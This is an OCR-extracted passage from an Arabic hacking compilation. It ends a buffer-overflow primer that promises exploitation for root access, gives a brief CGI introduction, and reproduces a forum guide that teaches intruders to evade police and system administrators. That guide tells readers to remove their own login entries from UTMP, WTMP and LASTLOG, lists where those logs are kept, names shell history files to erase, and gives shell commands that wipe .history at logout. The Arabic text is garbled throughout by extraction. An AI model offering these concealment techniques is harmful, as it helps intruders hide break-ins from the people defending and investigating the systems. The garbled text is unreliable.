‫الوقت في الحاسوب‪.‬‬ ‫ليس هناك شيء إسمه "متعددالعمليات ‪Multi-‬‬ ‫ن وحدة‬ ‫‪ "proccesses‬صحيح‪ ...‬كيف اذن؟؛ ا َّ‬ ‫المعالجة المركزية)‪ (CPU‬تنتقل بين العمليات كُل على‬ ‫حده بسرعة كبيره بحيث تبدو مثل العديد من المها‪.‬م‬ ‫التي تعمل في وقت واحد‪،‬‬ ‫اذا تبدو لنا كأن العمليات تعمل في وقت واحد وهذه من‬ ‫تخدع الحاسوب التي يؤديها علينا ‪.. (:‬‬ ‫ك ّل عملية لها عنوان فاضي من الذاكره ‪ ،‬وليمكن لي‬ ‫عمليةآتخرى تدتخل في هذا المكان الفاضي من الذاكرة‪.‬‬ ‫وهذا يرشدنا الى شي اتخر يجب ان تفهمه وهو‪:‬‬

‫‪-3‬إدارة الذاكره )‪:(Memory management‬‬ ‫<‪>------------------------------‬‬ ‫تدير أنظمة التشغيل‪-operating systems-‬‬ ‫الحديثة ذاكرة افتراضية ‪virtual‬‬ ‫‪)memory‬تخيلية(‪.‬‬ ‫ذلك يعني بأ ّنه ليمكن لي تطبيق )برنامج مثل(‬ ‫الوصول مباشرة إلى الذاكرة الحقيقية‪.‬لماذا؟؟‬ ‫‪192‬‬

‫انظمة التشغيل ‪ Operating System‬تمتلك‬ ‫هجدول تخطيط "تحويل العناوين الحقيقية من الذاكرة‬ ‫الى عناوين افتراضية)تخيلية(" ‪.‬‬ ‫وعندما تقو‪.‬م ذاكرة الـ ‪) OS‬نظا‪.‬م التشغيل(بتحديد‬ ‫مكان في الذاكرة لبرنامج معين لتشغيله ‪،‬يأتخذ البرنامج‬ ‫ي فقط ‪ ،‬وليس العنوان الطبيعي‪.‬‬ ‫العنوان التخيل ّ‬ ‫و هنالك استخدا‪.‬م اتخر للذاكرة الفتراضية)التخيل ّية(‬ ‫وهي انه من المعلو‪.‬م أن الذاكرة الحقيقية ل ترتبط‬ ‫مباشرة بكل عملية )أو برنامج(‪ ،‬فنظا‪.‬م التشغيل‬ ‫يستخد‪.‬م مساحة على القرص الصلب كذاكرة‪،‬‬ ‫والتطبيق ل يمكنه أبدا معرفة مكان الذاكرة ) مكان‬ ‫الذاكرة الحقيقة (‪،‬ذلك لن المساحة المخصصة للذاكرة‬ ‫في القرص الصلب تتبدل وتتغير‪.‬‬ ‫توضيح ‪ .:‬ان الذاكرة ل تنقسم الى ذاكرة حقيقة‬ ‫وذاكرة افتراضية بل أنهما ينتميان لذاكرة واحد‬ ‫اذن ما فائدة التسمية الى حقيقية وافتراضية ؟؟‬ ‫الجواب هو للمتييز فقط ‪ ،‬حيث ان الذاكرة الحقيقة‬ ‫تمثل مساحة معينة من القرص الصلب )ومكان هذه‬ ‫المساحة في تغير مستمر( لذلك سميت حقيقية او‬ ‫بمعنى اتخر طبيعية )اي بأستطاعتك لمس مكان الذاكرة‬ ‫الطبيعية بيدك على القرص الصلب(‬ ‫‪193‬‬

‫وفائدة الذاكرة الفتراضية هي إعطاء عنوان افتراضي‬ ‫)غير حقيقي ( للذاكرة الحقيقية اي يعطي عنوان كأسم‬ ‫فقط لمكان مساحة الذاكرة الطبيعية في القرص الصلب‬ ‫‪ ،‬وإن تغير مكان المساحة المخصصة للذاكرة يظل‬ ‫العنوان الفتراضي)التخيلي( ثابت‪.‬‬

‫‪-4‬استغلل ماذكر في الـ ‪Buffer Overflow‬‬ ‫<‪>---------------------------------‬‬ ‫الن نصل إلى الجزء الهم والمر ح‬ ‫كيف نستفيد من الذي قلنا عن المعالجة وإدارة الذاكرة‬ ‫للوصول والدتخول الى الجذر )‪ (Root‬وأتختراق‬ ‫النظا‪.‬م؟ تذ ّكر نحن قلنا في وقت سابق بأ ّنه عندما يكون‬ ‫الدتخال)البيانات( من المستخد‪.‬م أكبر حجما من الذاكرة‬ ‫صصت لهذه البيانات‪ ،‬البيانات الزائدة ستفيض‬ ‫التي تخ ّ‬ ‫)‪ (overflow‬في الذاكرة التي بعد السم المتغ ّير؟ هذا‬ ‫المكان من الذاكرة هو المكان الذي نستفيد منه في‬ ‫التختراق‪.‬‬ ‫ماذا نعمل في ذلك المكان‪ :‬داتخل تخط )مكان( البيانات‬ ‫التي يدتخلها المستخد‪.‬م )في المثال السابق وهو السم‬ ‫الول الذي يطلب من قبل البرنامج ثم أدتخلناه ( نضع‬ ‫الوامر الكثر شعبية للحاسوب‪ ،‬حيث هذه الوامر‬ ‫‪194‬‬

‫تجعل الحاسوب يحدث)ينتج( هيكل نستطيع استخدامه‬ ‫فيما بعد للقيا‪.‬م بالسيطرة الكاملة للنظا‪.‬م المستغ ّل‪ .‬القيا‪.‬م‬ ‫بهذا العمل ليس بيسطا كما يبدو لك‪ ،‬إذن لو أردت‬ ‫معرفة كيف يعمل ‪ ،‬أنت يجب أن تقرأ المقالة القادمة‬ ‫حول ‪ ،Buffer Overflows‬الذي سيصف بالضبط‬ ‫كيف لستغلل واحده من الـ ‪Buffer Overflows‬‬ ‫في التختراق‪.‬‬ ‫اتخيرا اتمنى انكم فهمتوا الدرس زين وعرفتوا ايش‬ ‫معنى ‪ Buffer Overflow‬واللي فهم الدرس نص‬ ‫نص يعيد قرائته اكثر من مرة مع التدقيق وانشال‬ ‫يفهم‪.‬‬ ‫انتهى‪،،،‬‬

‫‪195‬‬

‫" الـ ‪ CGI‬وعلقتها بالبنتربنت "‬ ‫>منقول<‬ ‫>مترهجم من قبل‪
‫)‪ (1‬مقدمة للـ ‪CGI‬‬

‫‪196‬‬

‫‪CGI=COMMON GATEWAY‬‬ ‫‪ INTERFACE‬هي الواهجهة التي تسمح بالتصال‬ ‫بين هجانب المستخد‪.‬م عن طريق المتصفح أو البرامج‬ ‫و تخلفه و هجانب الويب سيرفر الذي يفهم بروتوكول )‬ ‫‪(HTTP‬‬

‫الـ ‪ TCP/IP‬هو البروتوكول الذي يستخدمه سكريبت‬ ‫السي هجي أي و السيرفر أثناء التصال ‪ .‬البورت‬ ‫المحددة‬ ‫لهذا البروتوكول هي ‪ ) 80‬من الممكن أن تتغير هذه‬ ‫البورت(‬

‫تستطيع سكريبتات السي هجي أي أن تقو‪.‬م بتوليد‬ ‫صفحات الويب و الصور و أيضا نتائج محددة طبقا‬ ‫لمدتخلت معينه يقو‪.‬م‬

‫مبرمج السي هجي أي بتحديدها‬

‫‪197‬‬

‫يقو‪.‬م عمل سكريبتات السي هجي أي علي تخطوتين‬ ‫أساسيتين ‪:‬‬

‫‪ -1‬في الخطوة الولى يقو‪.‬م السكريبت بعمل معالجة‬ ‫أوليه للبيانات التي أدتخلت له‬ ‫‪ -2‬في الخطوة الثانية يعمل السكريبت كقناه للبيانات‬ ‫التي يقو‪.‬م المتصفح بارسالها الي السيرفر أو العكس‬

‫يقو‪.‬م سكريبت السي هجي أي بتشفير البيانات حتي‬ ‫تتمكن من العمل في أي مناخ للعمل‬

‫يمكن كتابة سكريبت السي هجي أي بأي لغة برمجة‬ ‫سواء كانت لغة مجمعة مثل الفيجوال بيسك‬ ‫أو لغة مترهجمة مثل البيرل و الفرق الوحيد بين نوعين‬ ‫اللغات أن البرنامج‬ ‫المبرمج باللغة المجمعة سوف يكون أسرع في التنفيذ‬ ‫و لكن اللغات المترهجمة أسرع في عملية التطوير‬

‫‪198‬‬

‫للسكريبت اذا أردت أن تعمل علي تعديل السكريبت أو‬ ‫تطويره‬

‫أهم الوامر التي تعتبر وثيقة الصله لموضوعنا هي‬ ‫كالتالي ‪:‬‬

‫‪ GET -1‬هذا المر يقو‪.‬م بطلب بيانات من السيرفر‬ ‫للمتصفح‬ ‫‪ POST -2‬هذا المر يطلب من السيرفر قبول‬ ‫المعلومات المدتخلة اليه من المتصفح‬ ‫‪ PUT -3‬هذا المر يطلب من السيرفر قبول‬ ‫المعلومات المرسله اليه كبديل عن المدتخلت الموهجودة‬ ‫حاليا‬

‫)‪ (2‬نقاط الضعف‬

‫‪199‬‬

‫نقاط الضعف التي يسببها سكريبت السي هجي أي ليس‬ ‫ضعفا في السي هجي أي نفسه و لكنه‬ ‫ضعف في بروتوكول الـ ‪ HTTP‬أو في أنظمة التشغيل‬ ‫المختلفة‬ ‫السي هجي أي يسمح باستغلل نقاط الضعف الموهجودة‬ ‫و لكن هناك طرق أتخري للوصول الي تحطيم النظا‪.‬م‬ ‫المني ‪ .‬كمثال يمكن الوصول الي الملفات الغير محمية‬ ‫باستخدا‪.‬م الـ ‪ FTP‬أو ‪.TELNET‬‬ ‫انتهى‪،،،‬‬

‫" كيف تحمي بنفسك وتخفي‬ ‫أفعالك؟!"‬ ‫‪200‬‬

‫>منقول من منتدى إعصار<‬ ‫>الكاتب‪ :‬المدمر<‬ ‫مقدمه بسيطه ‪:‬‬ ‫==========‬ ‫في البدايه و قبل كل شئ ارهجو منكم تحمل اتخطائي‬ ‫سواء كانت نحويه او املئيه ‪ ..‬كل ما اسعى له هو‬ ‫تعميم الفائده على الجميع‬ ‫و ان نتقد‪.‬م نحن العرب و نترقي باعل المستويات و‬ ‫المكانات الي نستحقها ‪..‬‬ ‫الموضوع ليس صغير و ليس بسهل في القراءه ‪..‬‬ ‫ارهجو ان تكون صبورا متانيا حتى اتخر الموضوع‬ ‫هذا الموضوع سيجعلك تخاف من تخيالك و تعمل الف‬ ‫حساب لظلك ‪ ..‬لكن انشاله سيكون دفعه للما‪.‬م و ليس‬ ‫لن تخاف و تتراهجع‬ ‫اسلوب الموضوع غريب ‪ ..‬و عادة ما نتجنبه دائما ‪..‬‬ ‫بمعنى اتخر ‪ ..‬كل من اتخواننا و اساتذتنا من كتبوا‬ ‫دروسا و شروحا في اتختراق السيرفرات و المواقع‬ ‫كان همهم الوحيد في الحمايه هو مسح اللوق ‪log‬‬ ‫‪ .. files‬لكن هل هذا يجعلك في امان تا‪.‬م ؟! هل هذا‬ ‫سيمنع تتبع اثرك ؟!! هذا ما ستكتشفه بعد النتهاء من‬ ‫قراءة الموضوع ‪..‬‬ ‫‪201‬‬

‫************************‬ ‫اذا كنت تظن ان الحصول على ترهجمة الثغرات )‬ ‫‪ ( exploites‬باسرع ما يمكن هو ما يجعلك محترفا‬ ‫و متطورا فاسمح لي بان اقول لك " انك انسان تخاطئ‬ ‫و ان اسلوب تفكيرك غلط "‬ ‫ماذا ستفيدك الثغره الحديثه هجدا ) ‪ ( 0day‬عندما يتم‬ ‫القبض عليك اذا هاهجمت احدى السيرفرات الكبيره ‪ ..‬؟‬ ‫و عندها سيتم السيطره على اهجهزتك و ادواتك و‬ ‫مراقبتك !؟!‬ ‫يمكن يرى البعض ان هذا لم بحدث قط لي شخص‬ ‫نعرفه ؟ او ان بلدنا ليس فيها هذه التقنيات العاليه !!‬ ‫لكن هذا قد يحدث يو‪.‬م ما !!‬ ‫و ايضا انت لتهاهجم فقط سيرفرات بلدك انما سيرفرات‬ ‫اتخرى عالميه محميه من قبل الشرطه الدوليه ‪ ..‬كما‬ ‫انه لبد من الحرص و فهم المور اذا كنت تريد ان‬ ‫تسمي نفسك هكر ‪ hacker‬بمعنى الكلمه‬ ‫ربما تعتقد في نفسك انك اكبر من قراءة هذا الموضوع‬ ‫بكثيير لنك من المعروفين عنهم بالحتراف او انك‬ ‫ترى ذلك في نفسك ‪ ..‬لكن انا اؤكد لك بانك مخطئ و‬ ‫انت تحتاج لقراءة الموضوع الي النهايه‬ ‫************************‬ ‫الموضوع مقسم الى ‪ 8‬اهجزاء ‪:‬‬ ‫‪202‬‬

‫=================‬ ‫الجزء الول ‪ :‬المقدمه ) و هو ماقد قمت انت بالنتهاء‬ ‫من قرائته حاليا (‬ ‫الجزء الثاني ‪ :‬المور العقليه و كيف تصبح **"‬ ‫‪ " Paranoid‬هذا الجزء سيتم عرضه من تخلل هذه‬ ‫المواضيع ‪:‬‬ ‫ الدافع او الحافز‬‫ لماذا ان لبد ان تصبح " ‪" Paraniod‬‬‫ كيف يمكن ان تصبح " ‪ " Paranoid‬؟‬‫ و كيف تحافظ على اسلوبك الجديد او شخصيتك‬‫الجديده ؟!‬ ‫** متاكد ان معظمكم يتسائل عن معنى هذه الكلمه ‪..‬‬ ‫سيتم توضيح معناها و مفهومها مع شر ح هذا الجزء‬ ‫انشاله ‪.‬‬ ‫الجزء الثالث ‪ :‬الساسيات التي يجب عليك معرفتها‬ ‫قبل ان تقو‪.‬م باي عملية اتختراق ) و سيتم عرضها من‬ ‫تخلل النقاط التاليه (‬ ‫ تمهيد‬‫ امن نفسك‬‫ حسابك الخاص‬‫ ملفات اللوق ‪LoGs‬‬‫‪203‬‬

‫ ل تترك اي اثر‬‫ امور و اشياء يجب تجنبها و الحظر منها‬‫الجزء الرابع ‪ :‬التقنيات الحديثه الي يتي يجب‬ ‫ملحظتها ) و سيتم عرضه من تخلل النقاط التاليه (‬ ‫ تمهيد‬‫ امنع تقفى اثرك من اي نوع‬‫ ايجاد اي نوع من انواع ملفات اللوق ‪ lOGs‬مهما‬‫كان فيها من تلعب ‪..‬‬ ‫ تحقق من ‪syslog configuration and‬‬‫‪logfile‬‬ ‫ تحقق من نوعيات برامج المن المثبته‬‫ تحقق من وهجود المدراء ‪Admins‬‬‫ كيف يمكن تصحيح ‪checksum checking‬‬‫‪software‬‬ ‫ حيل المستخد‪.‬م المنيه‬‫الجزء الخامس ‪ :‬ماذا تفعل ان وضعت تحت المراقبه‬ ‫الجزء السادس ‪ :‬ما الذي عليك القيا‪.‬م به و ايضا الذي‬ ‫لبد من عد‪.‬م القيا‪.‬م به في حالة انه تم القبض عليك‬ ‫الجزء السابع ‪ :‬قائمه بافضل البرامج للتخفي و‬ ‫التختباء‬ ‫الجزء الثامن ‪ :‬كلمه تختاميه ‪ ........‬ارهجو ان تتابعو‬ ‫‪204‬‬

‫الموضوع بحرض و تركيز شديدن من الن ‪!!! ...‬‬ ‫************************‬ ‫الجز الثاني ‪:‬‬ ‫=======‬ ‫ الدافع و الحافز ‪:‬‬‫*************‬ ‫لبد من تحكيم العقل للنجا ح في اي عمل ‪ ..‬العقل هو‬ ‫القوه التي ستدفعك و تحفزك لتصبح انسان واقعي ‪..‬‬ ‫مسئول و حريص‬ ‫المخترق ) ‪ ( Hacker‬الناهجح لبد و ان تتوفر فيه‬ ‫هذه المبادىء و المكانيات العقليه ‪ ..‬مثلها مثل بناء‬ ‫عضلت الجسم لن يكبر الجسم و يتقسم ال بعد‬ ‫ممارسة الرياضه الخاصه بذلك ) على سبيل المثال (‬ ‫مهما كنت متمرس او لديك الكثيير من المعلومات لبد‬ ‫اتخذ اشد الحتياطات و الحذر قبل القيا‪.‬م باي شئ‬ ‫ لماذا يجب ان تصبح " ‪ " Paranoid‬؟‬‫***************************‬ ‫كلمة " ‪ " Paranoia‬في اللغه النجليزيه تعني‬ ‫هجنون الرتياب ) نزعه عند الفراد تجعلك تشك في‬ ‫هجميع المور و هجميع الشخاص (‬ ‫‪205‬‬

‫اعتقدان المور بدات تتضح لنا بعد معرفة اصل هذه‬ ‫الكلمه ‪..‬‬ ‫يمكن ان نلخض ما ذكر من تخلل الكلمات التاليه ‪:‬‬ ‫‪ paraniod‬تعني ان تصبح شديد الحذر و الشك في‬ ‫هجميع الظروف‬ ‫لماذا يجب توتخي الحذر بهذه الطريقه المخيفه ؟!!‬ ‫لن توقعك دائما الى اسوء الظروف يجعلك تسير في‬ ‫امان ‪ ..‬و لن ما تفعله هو شئ كبيير هجدا ‪ ..‬ما تراه‬ ‫انت بعينك المجرده انك تغير الصفحه الرئيسيه ‪ ..‬او‬ ‫تقو‪.‬م بتحميل بعض المعلومات من السيرفر هو شئ‬ ‫بسيط بل و سهل هجدا‬ ‫ماذا لو انك اتخترقت سيرفر معين و تم رصدك و تتبعك‬ ‫و القبض عليك من قبل الشرطه !؟! و انك سترمى في‬ ‫السجن كالسارقين و المجرمين‬ ‫ان كنت ل تهتم بما قد يحصل لك ‪ ..‬عليك الهتما‪.‬م بما‬ ‫ما قد يصيب اهلك ‪ ..‬ابوك ‪ ...‬امك ‪ ..‬اتخوتك ‪ ..‬زوهجتك‬ ‫و اطفالك ) ان كنت متزوج (‬ ‫ربما لتشعر بان ماتقو‪.‬م به هو هجريمه ‪ ..‬لكن في‬ ‫الحقيقه هي هجريمه !!‬ ‫هل تعرف ماذا سينتظرك ان تم القبض عليك ؟!‬ ‫سيتم حرمانك من كل امور الكومبيوتر ‪ ..‬نظرة الناس‬ ‫الغيير طبيعيه لك ) ليست نظرة اعجاب انما نظرة‬ ‫‪206‬‬

‫تخوف ( ‪ ..‬لن تحظى بفرص العمل التي تستحقها ‪..‬‬ ‫ستسدعى عند حصول اي مشاكل اتخرى من هذا النوع‬ ‫‪ ..‬لذا فان معظم من يسقطون ل يقومون ثاني ابدا !!‬ ‫لذا فاصبح حذرا هجدا و شكاكا ‪ ..‬امن نفسك‬ ‫اتخذ هجميع الحتياطات‬ ‫لتهتم بما قديقوله الكثيرون عنك بانك تخواف او ما‬ ‫شابه‬ ‫اهتم باي ملف ‪ log‬مهما كانت قيمته تافهه‬ ‫لتصبح ‪ hacker‬عليك ان تقو‪.‬م بعملك ‪ ..‬سليما ‪100‬‬ ‫‪%‬‬ ‫ كيف تصبح " ‪ " Paranoid‬؟‬‫*********************‬ ‫اذا كنت قرأت ما سبق و اقتنعت به انت بالفعل اصبحت‬ ‫هذا الشخص " ‪ " Paranoid‬لكن القتناع وحده ل‬ ‫يكفي و التحمس وحده وليد اللحظه ايضا ليكفي ‪...‬‬ ‫انما لبد ان يكون القلق و التوتر موهجودين بشكل دائم‬ ‫في حياتك ) اللكترونيه (‬ ‫اذا كنت فعل تريد ان تكون هكر حقيقي ‪ ...‬لبد ان‬ ‫تعرف لمن تقول هذه الحقيقه و كيف تتعامل مع‬ ‫التخرين ‪ ..‬اعمل حساب انك مراقب دائما و انه هناك‬ ‫‪207‬‬

‫كاميرا تخفيه وراك دائما ‪ ..‬فاحذر في كلمك على‬ ‫الهاتف لنه قد يكون مراقب ‪ ..‬او حتى بريديك‬ ‫الشخصي و اللكتروني ) لبد ان تعمل حساب الغير‬ ‫المتوقع (‬ ‫اذا ما قد ذكرته ل يهمك و انك انسان غير مبالي ‪..‬‬ ‫دعني اسألك هذه السئله ؟‬ ‫هل تريد ان يراك التخرين مجر‪.‬م ؟ هل تريد ان ترى‬ ‫الحزن و الدموع على وهجه اهلك ؟ هل تريد ان تحسر‬ ‫قلوبهم عليك ؟!‬ ‫هل تريد ان تفقد اصدقائك ؟ تخطيبتك ؟ صحبتك ؟‬ ‫تذكر ان الضرر لن يعود عليك فقط انما سيعود على كل‬ ‫من تعرفه‬ ‫ و كيف تحافظ على اسلوبك الجديد او شخصيتك‬‫الجديده ؟!‬ ‫******************************************‬ ‫بما انك قد استوعبت ماذكر حتى الن و قررت ان‬ ‫تكون انسان حريص هجدا ‪ ..‬لبد ان تبقى هكذا طوال‬ ‫الوقت‬ ‫و تذكر هذه الكلمات ‪ :‬لحظة كسل واحده في اتخاذ‬ ‫الحتياطات المنيه قد تغير حياتك باكملها ؟!!!!‬ ‫‪208‬‬

‫دائما تذكر الدافع‬ ‫ الجزء الثالث ‪:‬‬‫=========‬ ‫ تمهيد‬‫******‬ ‫يجب معرفة هذه المور القادمه و استيعابها هجيدا قبل‬ ‫ممارسة اي عملية اتختراق ‪ ..‬حتى لو كنت مخترق‬ ‫متمرس لبد ان تستوعب الفكار القادمه‬ ‫ امن نفسك ‪:‬‬‫***********‬ ‫ ماذا لو قرأ ال ‪ SysAdmin‬رسائلك البريديه‬‫اللكترونيه ؟‬ ‫ ماذا لو كانت اتصالتك الهاتفيه مسجله و مراقبه من‬‫قبل الشرطه ؟‬ ‫ ماذا لو تم ضبط الكومبيوتر الشخصي و السيطره‬‫على كل معلوماتك ؟‬ ‫اذا كنت لتقو‪.‬م بعمل اي اتصالت هاتفيه مع اي‬ ‫شخص من الهاكرز او الكراكرز ‪ ..‬ول تبعث اي‬ ‫ايميلت فيه معلومات مشبوهه و ل تمتلك اي معلومات‬ ‫‪209‬‬

‫امنيه و حساسه على هجهازك فهذا ببساطه ل يشكل اي‬ ‫تخوف لنه ببساطه ايضا انت لست مخترق او‬ ‫‪(= hacker‬‬ ‫لنه لبد من وهجود اتصال بينك و بين اصدقائك‬ ‫المهتمين بهذا المجال ‪ ..‬لتبادل التخبار و الفكار ‪..‬‬ ‫كما انه لبد و انك تمتلك بعض الملفات اللزمه‬ ‫للتختراق او بعض المعلومات الي تعبر مدينه لك في‬ ‫حالة حدوث رصد لجهازك ) كبسه (‬ ‫>‪--‬‬ ‫‪<-‬‬‫قم بتشفير كل ما تملكه من معلومات حساسه‬ ‫‪sensitive data‬‬ ‫يمكنك ذلك باستخدا‪.‬م بعض البرامج الموهجوده مجانا‬ ‫على النترنت ‪ ..‬و هذه قائمه بافضل البرامج و التي‬ ‫تعتبر اتختيار الهاكرز الول ‪:‬‬ ‫ لمستخدمين ‪ MsDos‬اليكم ‪ SFS v.17‬او‬‫‪SecureDrive 1.4b‬‬ ‫ لمستخدمين نظا‪.‬م ‪ *Amiga‬اليكم ‪EnigmaII‬‬‫‪ * ) v1.5‬احدى انظمة التشغيل غير شائعة الستخدا‪.‬م‬ ‫تخصوصا في عالمنا العربي (‬ ‫ لمستخدمين انظمة ال ‪ Unix‬اليكم ‪CFS v1.33‬‬‫‪210‬‬

‫لتشفير الملفات بشكل فردي ) ملف بملف ( اليكم هذه‬ ‫البرامج ) الكثر شهره و الحسن اداء ( ‪:‬‬ ‫ ‪Triple DES‬‬‫ ‪IDEA‬‬‫ ‪(Blowfish (32 rounds‬‬‫ ‪file2file‬‬‫لتشفير اليميلت ‪:‬‬ ‫ ‪PGP v2.6.x‬‬‫يمكنك ايضا تشفير عملية اتصالك ب ‪Unix‬‬ ‫‪ ) System‬على اساس انه ممكن ان تكون مراقب (‬ ‫و ذلك باستخدا‪.‬م ‪:‬‬ ‫ ‪ SSH‬المن حتى الن‬‫ ‪DES Login‬‬‫اهجعل كلماتك السريه صعبة التخمين ‪ ..‬غير منطقيه ‪..‬‬ ‫غير شائعه ‪ ..‬ل توهجد في القواميس ‪ ..‬لكن في نفس‬ ‫الوقت لبد ان تتذكرها دائما‬ ‫اتخترها من كتاب تتمتلكه ‪ ..‬اهجعلها اكبر عدد ممكن من‬ ‫‪211‬‬

‫الحرف ) يعني عادة عند عمل اي اشتراك يطلب منك‬ ‫كلمه سريه تتكون من ‪ 8- 4‬احرف ( فاتختر ال ‪8‬‬ ‫حروف‬ ‫ل تحفظ ارقا‪.‬م هواتف اصحابك الهاكرز بشكل اعتيادي‬ ‫‪ ..‬انما يمكنك بان تشفرها ) حتى برموز تفهمها انت‬ ‫فقط ( و اتصل بهم من هواتف الشارع او من العمل ‪..‬‬ ‫اذا انت بالفعل متعمق هجدا في الهاكينج فلبد من تشفير‬ ‫كل شئ يتعلق بهذه المور !!‬ ‫احفظ دائما نسخه احتياطيه من معلوماتك على ‪ CD‬او‬ ‫‪ HD‬و بالطبع تكون مشفره حتى اذا تخسرت‬ ‫المعلومات الموهجوده على هجهازك يكون لديك نسخ‬ ‫احتياطيه‬ ‫لتحتفظ بملفات لتحتاهجها ‪ ..‬و ان كان لديك‬ ‫‪ document files‬او ملفات مطبوعه و ل تريدها‬ ‫مرة اتخرى لتقطعها اعتياديا انما احرقها في مكان بعيد‬ ‫كل البعد عن اماكن تواهجدك العتياديه او ان اردت‬ ‫الحتفاظ بها فعليك كتابتها من هجديد باسلوب مرمز او‬ ‫مشفر ليعرفه ال انت !!‬ ‫هل تعرف انه من الممكن ان ‪:‬‬ ‫=================‬ ‫‪212‬‬

‫تكون مراقب من ‪ :‬الشرطه ‪ ,‬المخابرات ‪ ,‬هاكرز‬ ‫اتخرون و انهم يتسطيعون رصد كل حركات باستخدا‪.‬م‬ ‫وسائل حديثه ليمكن تخيلها‬ ‫مثل ‪:‬‬ ‫ اهجهزه تصوير تستطيع تصويرك عند بعد مئات‬‫المتار‬ ‫ نقطة ليزر مصوبه نحو غرفتك للتصنت على‬‫مكالماتك‬ ‫ موهجات عالية التردد للتنصت على لمسات و صوت‬‫يديك على ال ‪!! keyborad‬‬ ‫تختلف بالطبع هذه المكانيات من مكان لتخر و من‬ ‫دوله الى اتخرى ‪ ..‬و يرى البعض انه فيما اقوله مبالغه‬ ‫!!! لكن انت ل تعرف ماذا يخبئ لك المستقبل !! فلماذا‬ ‫لتستعد من الن !!!‬ ‫كما انه هناك الكثيير من اتخواننا العرب في دول‬ ‫الخارج الذي بالفعل تتوفر فيها اهجهزة التنصت هذه ‪...‬‬ ‫و على راي المثل المصري " امشي عدل يحتار عدوك‬ ‫فيك " فكلما كنت احتياطيا و حركاتك تحسبها بشكل‬ ‫صحيح !!! ففرص اطاحتك قليله هجدا‬

‫‪213‬‬

‫حساباتك و اشتراكات الشخصيه ‪:‬‬ ‫===================‬ ‫هنا سأتكلم عن حساباتك الشخصيه سواء كانت في‬ ‫العمل\المدرسه\الجامعه\اي كان فعليك بالتالي ‪:‬‬ ‫ ابدا ل تقو‪.‬م باي عمل غيير قانوني ‪ ..‬او مشبوه‬‫بحسابتك الشخصيه التي فيها يكون اسمك الحقيقي و‬ ‫هويتك و تفصيلت كامله عنك‬ ‫ عمرك ما تحاول ان تتصل بموقع قد تم اتختراقه‬‫بواسطة ال ‪telnet‬‬ ‫ يمكنك الشتراك بحسابك الخاص في قائمة البريد‬‫لي موقع امني ‪ security‬من دون تخوف ‪..‬‬ ‫ لكن كل مو هو مختص بالهاكينج من ملفات لبد ان‬‫تشفر او انها يتم مسحها فورا‬ ‫ ابدا ل تحفظ اي برامج و ادوات التختراق على‬‫الهارديسك في حسابك الشخصي‬ ‫ بريدك الحقيقي لتعطيه ال لمن تثق فيه ثقه عمياء‬‫!!!!‬ ‫ اهتمامك بالسكيورتي ل يجعلك مشبوها ‪ ..‬انما‬‫الهتما‪.‬م بعكس السكيورتي هو المشكله ==< الهاكينج‬ ‫>‪----‬‬ ‫ملفات اللوق ‪: LoGS‬‬ ‫‪214‬‬

‫============‬ ‫هناك ‪ 3‬ملفات مهمه هجدا ‪:‬‬ ‫ ‪ WTMP‬للتسجيل عند الدتخول و الخروج ) ‪log‬‬‫‪( on/off - log in/logout + tty + host‬‬ ‫ ‪ UTMP‬للمتواهجدين اونلين حاليا !‬‫‪ LASTLOG -‬تسجيل من اين هجاءت هذه ‪logins‬‬

‫** سنتكلم عنهم باستفاضه و تعمق فيما بعد ) في‬ ‫هجزء اتخر من نفس الموضوع (‬ ‫كل عملية دتخول بواسطة ال ‪telnet , ftp ,‬‬ ‫‪ rlogin‬يتم تسجيلها في هذه الملفات ‪ ..‬لبد حذف‬ ‫دتخولك من هذه الملفات و ال سيتم معرفة التي ‪:‬‬ ‫ ماذا قمت بالتختراق !!‬‫ من اي مكان انت قاد‪.‬م‬‫ كم من الوقت بقيت اونلين ‪..‬‬‫تخطا يقع فيه الجميع بنسبة ‪ % 99.9‬مننا ) حتى انا‬ ‫كنت اقع في نفس هذا الخطا زمان ‪ ..‬لكن اتعلمت ( و‬ ‫هو انك تمسح اللوقات ‪logfiles‬‬ ‫علطول ‪ ..‬هذا مجدي في حالة انك لتهتم بان يعرف‬ ‫‪215‬‬

‫الدمين انه هناك مخترق ما قد دتخل على النظا‪.‬م ‪ ..‬اما‬ ‫اذا اردت ان تشتغل شغل المحترفين عليك الدتخول و‬ ‫الخروج دون ان يلحظك اي شخص ‪ ..‬دون ان تقو‪.‬م‬ ‫بتغيير اي شئ يلفت انتباه مدير النظا‪.‬م‬ ‫و لعمل ذلك تابع معي ‪:‬‬ ‫لتعتمد البرامج التي روهجت على انها لتقو‪.‬م بمسح‬ ‫اللوق انما تقو‪.‬م بحذف دتخولك فهي غيير مجديه مثل‬ ‫برنامج ‪ZAP (or ZAP2‬‬ ‫لنه يقو‪.‬م بعمل اصفار كاتخر لوق مكانك انت و هذا‬ ‫ايضا دليل على وهجود تخطا سيلحظه مدير النظا‪.‬م‬ ‫اذا عليك بالقيا‪.‬م بذلك يدويا ‪..‬‬ ‫عادة لبد ان تكوت ‪ root‬لتغير و تعدل في ال ‪log‬‬ ‫‪ ) files‬باستثناء بعض التوزيعات القديمه هجدا (‬ ‫اماكن تواهجد ملفات اللوق ‪ ) default‬تختلف‬ ‫باتختلف التوزيع (‬ ‫‪UTMP : /etc or /var/adm or /usr/adm‬‬ ‫‪or /usr/var/adm or /var/log‬‬ ‫‪WTMP : /etc or /var/adm or /usr/adm‬‬ ‫‪or /usr/var/adm or /var/log‬‬ ‫‪LASTLOG : /usr/var/adm or‬‬ ‫‪/usr/adm or /var/adm or /var/log‬‬ ‫و في بعض النسخ القديمه ‪$home/.lastlog‬‬ ‫‪216‬‬

: ‫ل تترك اثرا‬ ======= ‫كثيير من الهاكرز ينجحون في عملية حذف دتخولهم‬ !!! ‫ لكنهم ينسون امرا هاما و قاتل‬.. ‫من ملفات اللوق‬ ‫و هي الملفات التي توهجد هنا‬ tmp and $HOME/ ‫ مصدر‬$HOME ‫ في‬Shell History ‫و هجود ال‬ : ‫قلق كبيير‬ : History files sh : .sh_history csh : .history ksh : .sh_history bash: .bash_history zsh : .history : Backup Files ~* ,dead.letter, *.bak : History files ‫لكن الحل موهجود ايضا لمسح ال‬ mv .logout save.1 echo rm -rf .history>.logout echo rm -rf .logout>>.logout echo mv save.1 .logout>>.logout 217

